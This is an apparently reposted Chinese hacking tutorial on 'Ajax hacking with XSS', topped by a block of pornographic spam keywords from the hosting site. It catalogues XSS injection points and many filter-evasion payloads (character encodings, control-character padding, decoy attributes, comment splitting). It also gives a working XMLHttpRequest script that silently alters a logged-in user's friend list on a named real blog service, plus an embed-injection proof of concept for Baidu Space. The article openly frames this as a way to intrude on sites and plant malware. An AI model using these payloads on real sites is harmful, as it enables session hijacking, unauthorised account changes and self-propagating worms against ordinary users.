日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

Ajax hacking with XSS

發布時間:2023/12/20 编程问答 28 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Ajax hacking with XSS 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
為?什么在Ajax?hacking中使用XSS?它與傳統的XSS又有什么區別?它們各有怎么樣的利弊端?大型網站的所?謂XSS漏洞是否為雞肋?下面我們一起來詳細分析下。

  Ajax?hacking

  Ajax?hacking這個名詞最先出現在Billy?Hoffman的一篇名為《AJAX?dangers》報告中,他把samy?和yamanner這種攻擊形式定義為AJAX?hacking。而在此之前它們只是被說屬于web2.0蠕蟲(或XSSworm)?,但對這種攻擊形式并沒有一個明確的定義。這里我們暫以AJax?hacking中的XSS進行一些深入的性討論?。關于Ajax的其他攻擊形式請到網上參看文章《Top?10?Ajax?Security?Holes?and?Driving?Factors》或?者是翻譯成中文的《細數Web2.0下的十大安全威脅》。

  在傳統的XSS攻擊中,我們的目的通常是直接提權或者獲取Cookies后提權,所以代碼執行方式一?般是windows.open、window.location或iframe,于是它的兩大弱點就體現出來了,不具有傳播性和易暴?露性。在AJax?hacking中利用Ajax這一種新技術,攻擊方式及對象得以轉變。其實絕大部分人在獲得管理?員權限又擁有文件更改權限后所能做的也就是掛馬,很少設計商業機密之類!而這一攻擊則直接把矛頭指?向客戶端,由于數據全部是使用異步調取方式,所以具有很強的隱蔽能力;通過操縱已登錄的用戶權限,?可以直接對用戶信息進行更改,甚至可以使該代碼集合自動傳播實現蠕蟲功能。

  XSS?利用方式

  在傳播的XSS攻擊案例中,代碼插入的利用方式一般是在URL和文本區域(textarea)中。但對于?日前大面積利用Ajax技術進行建站的站點來說,利用新形式的Ajax?hacking技術可以將利用方式大體擴展?到URL域、input域、textarea域、embed域、css、rss、xml載體七種方式。

  URL?XSS

  可以進行XSS的URL一般為"(域名)/(文件名)(文件格式)?(字段名)=(字段內容)"這種?形式,而且字段內容通常會在頁面的某一個位置顯示出來或者被調用。由于網站編寫者的疏忽,沒有把對?應的字段內容進行安全檢測和過濾,而直接調用到頁面上,使得我們只把字段內容替換成我們想要的XSS?代碼即產生跨站。比如:

http://club.sohu.com/joke/1.htm??stra=<script>alert(document.cookie);</script>

  但是這種方式一般需要誘使用戶點擊你事先偽造的鏈接,而鏈接你可以掛在論壇里或者以E-mail?的方式進行釣魚性欺騙。

  Input和textarea以及css?XSS

  input和textarea以及css?XSS是我們所用到的方式中最廣泛的幾種,由于css實際上屬于Dhtml的?一部分,所以它們的利用方式及繞過過濾特點也大體相同,我們將在后面著重進行相關的解釋和實驗。?

  Embed?XSS

  Embed?XSS一般利用在允許插入視頻,音樂以及flash的站點上,如果你鏈接到一個被惡意構造了?含有XSS腳本的flash文件,比如<EMBED?SRC="xss.swf"></EMBED>,然后我們構造一個特殊?的.swf文件,并在flash文件的動作里插入以Action?Script引到的js或vbs代碼。當用戶訪問該頁面時既?產生跨站。

  Rss以及Xml?XSS

  這種攻擊一般利用在可以進行rss聚合的站點以及部分本地的rss解釋器上(據說對本地的rss解釋?器進行XSS,有獲得主機權限的可能性,不過本人沒有試過這個!),而且由于rss文件一般可以在任何站?點上被引用,所以想進行這類的攻擊測試是很簡單的事情,效果也相當明顯。下面是對一個沒有進行任何?過濾設置的本地調用遠程rss.xml的實例效果,以及Google調用該rss的過濾效果。

  代碼插入方式

  由于插入的腳本為js或者是vbs,所有一般需要由的關鍵字JavaScript、VbScript、expression比?如<IMG?SRC="JavaScript:alert('XSS');">,但當接收鼠標或鍵盤響應時,這三個關鍵字可以省略掉,所以有以下利用方法<img?οnmοuseοver="alert('XSS')">或者<INPUT?οnkeyup="alert('XSS');">等等。而且由于html并?不遵循xhtml的標準,所以可以有以下插入方式:

1、標簽屬性可以用雙引號、可以用單引號、也可以可不用引號;

2、屬性值可以大寫;可以小寫;也可以混合寫;

3、可以插入回車、包括段末結尾符和換行符的兩種、即char(10)和char(13)、tab空格;

4、如果是style形式還可以插入反斜線“/”、注釋符“/**/”;

5、可以將插入的代碼轉換成10進制、16進制;

6、由于禁止的不確定性,你插入的進制串可以進行一系列轉化并可以隨意搭配組合;

7、進字符“j”就可以有以下15種編碼方法,而且還是不計字符的大小寫。

/6A/06A/006A/0006A/00006A?????//java形式的16進制編碼

&#106;&#0106;&#00106;&#000106;&#0000106;?????//十?進制編碼

&#x6A;&#x06A;&#x006A;&#x0006A;&#x00006A;?????//十?六進制編碼

8、其他的編碼方式,如htmlEncode和URLEncode對于html及URL的編碼。

  至于可以插入代碼的html標簽嘛……說句近乎瘋狂的話——目前幾乎所有可以插入屬性的標簽都?可以插入代碼,比如<bstyle="xss:expression(alert('XSS'))">。

  在html標簽中可以插入代碼的屬性一般為:src、style、dynsrc(常用于img和input中,用此屬?性還可以插入視頻等)、lowsrc(預載縮略圖)、鼠標屬性(如o?n?m?o?u?s?e?o?v?e?r?)、鍵盤屬性(?如onkeypress)、href屬性(常用于a和link)、boby的onload屬性、URL屬性等。

  過濾繞過方式

  當然人家網站也不可能傻乎乎地讓你輸入這些代碼,所以它們一般會對你輸入的字符進行過濾。?所以我們編寫好的代碼并一定就能順利的插入執行,很有可能某些關鍵的字符被過濾掉了,比?如"JavaScript"。如果只是這種單純的過濾,那么繞過方法實在太簡單,只要每當輸入此字符時輸?入"javajavascriptscript"之類就可以了。當然網站程序員依然不會這樣傻,它們會進行種種過濾來防備?你,所以結合上面的"代碼插入方式",你可能會總結出以下的繞過網站過濾系統的方法:

  1、用控制字符的ASCII碼填充

  比如<IMG?SRC="&#15;JavaScript:alert('XSS');">,如果你熟悉ASCII碼,你應該?知道系統控制字符一共是33個,這里去掉一個頭&#00(null)和一個尾&#127(del),其他31個字符?均可以順利插入代碼頭部,對過濾系統進行混淆,并且不影響原代碼執行,而且你依然可以用"代碼插入?方式"中的"方案7"進行編碼的任意轉換。七種tab符&#9、換行符&#10、回車符&#13可以插到代碼任何地方。

  2、插入混淆屬性

  當我們進行一般的文字錄入時會發現,并不是所有帶"JavaSceipt"這樣的字符都會被過濾掉。而是只有在html標簽內的特殊字符會被濾掉,這使得我們有了令一套繞過措施,在插入代碼的屬性前面插?入另一混淆屬性,并在該屬性中插入讓過濾系統誤以為是標簽結束符的字符,從而讓過濾系統認為執行代碼在html標簽的外面。比如:

<img?src="abc>"?οnmοuseοver="[code]">?????//插入混淆的src屬?性

<IMG?"""><SCRIPT>[code]</SCRIPT>">?????//插入混?淆的雙引號及?“>”符號

<SCRIPT?a=">"?SRC="xss.js"></SCRIPT>?????//插入混淆的a?屬性

  3、用注釋符分割

  由于瀏覽器會忽略掉每種代碼的注釋符,因此如果我們在代碼中的注釋符就可以成功地欺騙過濾?系統并且不影響XSS代碼的正常運行。比如:

<img?style="xss:expr/*XSS*/ession([code])">?????//css的注釋符號?為/**/,其中的內容會被忽略

<style>@im/port'/ja/vasc/ript:alert("XSS")';</style>?????//css中忽略的符號還有“/”

exp/*<A?STYLE='no/xss:noxss("*//*");xss:&#101;x&#x2F;*XSS*//*/*/pression?(alert("XSS"))'>?????//注釋混淆后的樣子

<style><!--</style><script>[code]//--?></script>?????//html的注釋符為<!--注釋-->

  4、js編碼及調用

  如果過濾系統會過濾掉很多的特征字符,那么當我們做以上繞過的時候就會非常的麻煩,所以典型的繞過方案還有對這些代碼進行js編碼或者干脆從外部調用過來。當然由于瀏覽器對Ajax的安全機制,你必須保證調用的文件在相同的服務器上,否則就會出現錯誤提示。

  異步數據調用

  既然是Ajax?hacking,自然需要用到異步的數據調用。這里將簡單的介紹一下相關的知識,要更?深入的了解是長期實踐的結果。

  1、聲明xmlhttprequest對象

  數據調用需要事先聲明xmlhttprequest對象,在IE6及以前版本中最簡單的做法是:

var?XmlHttp=new?ActiveXObject("Microsoft.XMLhttp");

  在IE7和firefox中的聲明方法是:

var?req?=?new?XMLHttpRequest();

  所以如果我們想編出兼容性更好的代碼,可以對客戶端瀏覽器進行判斷,然后分別定義?xmlhttprequest對象,如下:

if(window.XMLHttprequest){
?????XmlHttp?=?new?XMLHttpRequest();
????}else?if?(window.ActiveXObject){
???????Xmlhttp?=?new?ActiveXObject?('Microsoft.XMLHTTP');
????}

  然后采用以下方法進行參數傳遞

XmlHttp.Open("POST","URL",true);
XmlHttp.send(null);

  這里要主意的是,XmlHttp.Open中的第一個選項為頁面的請求方式,可以為post、get、head三種?第三?個選項true表示異步方式、false表示同步方式。

  利用以上代碼,你可以簡單實現一下在TOM博客中為當前用戶添加任意用戶的友情鏈接,如果添加?成功?會返回OK窗口,已經添加會返回friended,代碼如下:

????<script>
??var?XmlHttp=new?ActiveXObject?("Microsoft.XMLhttp");
??XmlHttp.Open("POST","http://blog.tom.com/manage/favorite/friend_list.php??UserName=monyer1&Flag=1",true);
??????????XmlHttp.send(null)?
??????????XmlHttp.onreadystatechange=ServerProcess;
???function?ServerProcess(){
??????????if?(Xmlhttp.readystate==4?||?XmlHttp.readystate=='complete')
???????????????alert?(XmlHttp.responsetext);????}
????</script>

  利用相同原理,給登錄用戶添加文章也不是什么難題,只不過稍微麻煩店而已,感興趣的朋友可?以自?己回去試試。

  V?b?s?c?r?i?p?t?中聲明xmlhttprequest的代碼為這樣:

dim?httpreq?as?msxml.xmlhttprequest
set?httpreq?=?new?xmlhttprequest
httpreq.setrequesttheader?"content-?type:","text/xml;charest=gb2312"
httpreq,send

  利用方式與js大體相同,這里不做過多的即時。

  2、獲取頁面元素

  獲取頁面指定標簽和標簽中的值一般會用到以下幾個DOM對象,當然對象后面可以加入相關屬性,?比如?style、value、innerHTML等等。

1)document.?getElementByld?????//獲得制定id的html標簽相關信息

2)document.?getElementByname?????//獲得指定name的html標簽相關信息?

3)document.?getElementByTagName?????//獲得指定的html標簽相關信息

  3、在頁面中插入html元素

  我指導的可以在頁面插入html的js函數有insertAdjacentHTML、innerHTML(outerHTML)、?inserAdjacentText、innerTEXT(outerTEXT)。其中前兩個是插入html代碼,后兩個是插入文本,所以?我們一般所用的就是前兩個。另外用document對象中的creatElement也可以實現代碼插入,輸入js代碼時?請注意大小寫問題。

1)<a?href="#"?οnclick="this.innerHTML='<h1>i?am?monyer</h1>'?">innerHTML</a>?????//替換當前標簽中的內容,作用域不包括當前的?html標簽

2)<a?href="#"?οnclick="this.outerHTML='<h1>i?am?monyer</h1>'?">outerHTML</a>?????//替換當前標簽及標簽中的內容,作用域包括當?前標簽及其中所有內容

3)<a?οnclick="this.insertAdjacentHTML('afterEnd',<h1>monyer</h1>')"?href="#">insertAdjacentHTML</a>?????//新增插入的html代碼,不改?變原標簽及內容

  指定插入html標簽語句的地方,有四種值用:

a.beforeBegin:插入到標簽開始標記后

b.afterBegin:插入到標簽開始標記后

c.beforeEnd:插入到標簽結束標記前

d.afterEnd:插入到標簽結束標記后

  靈活地運用這兩個函數能幫我們變換出豐富的效果來,我利用百度空間插入視頻的簡化POC:

Html頁面的代碼為:

<script?scr=monyerflash.js></script>
<address>src=http:/?/tv.mofile.com/cn/xplayer.swf?v=9IWKFISE</address>

monyerflash.js代碼為:

window.οnlοad=function(){
??var?i,j,x,y,z;
??j=document.getElementsByTagName?('address');
?for(i=0;i<j.length;i++){
?????y=document.getElementsByTagName('address')?[i];
?????z=document.getElementsByTagName('address')?[i].firstChild.data;
?????x='<br/><embed?'+z+'></embed>';
????if(y)?y.insertAdjacentHTML('beforeEnd'.x);
???}}

  總結

  有了以上概述,相信你對Ajax?hacking?with?XSS已經有了一個大體的了解,并且只要把文中的響?應內容進行簡單的組合和更改,就很可能做出某些令人驚喜的東西。當然因為Ajax應用的是JavaScript的?一部分,所以想充分利用Ajax式的hacking并發揮它的威力還需要你對JavaScript有一個充分的了解。當?你在各個過濾系統間實戰時,你會遇到更多的苦難并需要試著解決各種問題。我認為是否真正入侵一個網?站或者順利掛馬是次要的,不斷提高自己,在功與防的對立統一中不斷尋求突破才是王道!

總結

以上是生活随笔為你收集整理的Ajax hacking with XSS的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。